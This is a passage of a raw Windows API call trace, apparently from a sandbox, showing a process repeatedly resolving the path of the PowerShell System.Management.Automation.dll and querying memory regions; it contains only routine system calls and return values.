lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.387] GetLastError () returned 0x0 [0052.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.387] GetLastError () returned 0x0 [0052.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.387] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.388] GetLastError () returned 0x0 [0052.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.389] GetLastError () returned 0x0 [0052.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.389] GetLastError () returned 0x0 [0052.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.389] GetLastError () returned 0x0 [0052.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.389] GetLastError () returned 0x0 [0052.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.389] GetLastError () returned 0x0 [0052.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.389] GetLastError () returned 0x0 [0052.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.389] GetLastError () returned 0x0 [0052.389] VirtualQuery (in: lpAddress=0x27d0a0, lpBuffer=0x27e0a0, dwLength=0x1c | out: lpBuffer=0x27e0a0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.389] GetLastError () returned 0x0 [0052.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.389] GetLastError () returned 0x0 [0052.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.389] GetLastError () returned 0x0 [0052.390] VirtualQuery (in: lpAddress=0x27d0a0, lpBuffer=0x27e0a0, dwLength=0x1c | out: lpBuffer=0x27e0a0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.390] GetLastError () returned 0x0 [0052.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.390] GetLastError () returned 0x0 [0052.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.390] GetLastError () returned 0x0 [0052.390] VirtualQuery (in: lpAddress=0x27d0a0, lpBuffer=0x27e0a0, dwLength=0x1c | out: lpBuffer=0x27e0a0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.390] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.390] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.391] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.392] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.392] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.392] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.392] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.392] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.392] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.392] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.393] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.393] VirtualQuery (in: lpAddress=0x27cedc, lpBuffer=0x27dedc, dwLength=0x1c | out: lpBuffer=0x27dedc*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.393] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.394] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.394] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.394] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.394] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xea8e2a0, Data2=0x228f, Data3=0x4b02, Data4=([0]=0xbd, [1]=0x87, [2]=0xca, [3]=0xb9, [4]=0x60, [5]=0xb8, [6]=0x8d, [7]=0xa3))) returned 0x0 [0052.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.394] GetLastError () returned 0x0 [0052.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.394] GetLastError () returned 0x0 [0052.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.395] GetLastError () returned 0x0 [0052.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.395] GetLastError () returned 0x0 [0052.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.395] GetLastError () returned 0x0 [0052.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.395] GetLastError () returned 0x0 [0052.395] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x2ca14b70, Data2=0xae6c, Data3=0x4496, Data4=([0]=0x82, [1]=0x42, [2]=0xa4, [3]=0x8d, [4]=0xf4, [5]=0x78, [6]=0xdc, [7]=0xea))) returned 0x0 [0052.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.395] GetLastError () returned 0x0 [0052.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.395] GetLastError () returned 0x0 [0052.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.395] GetLastError () returned 0x0 [0052.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.395] GetLastError () returned 0x0 [0052.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.395] GetLastError () returned 0x0 [0052.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: 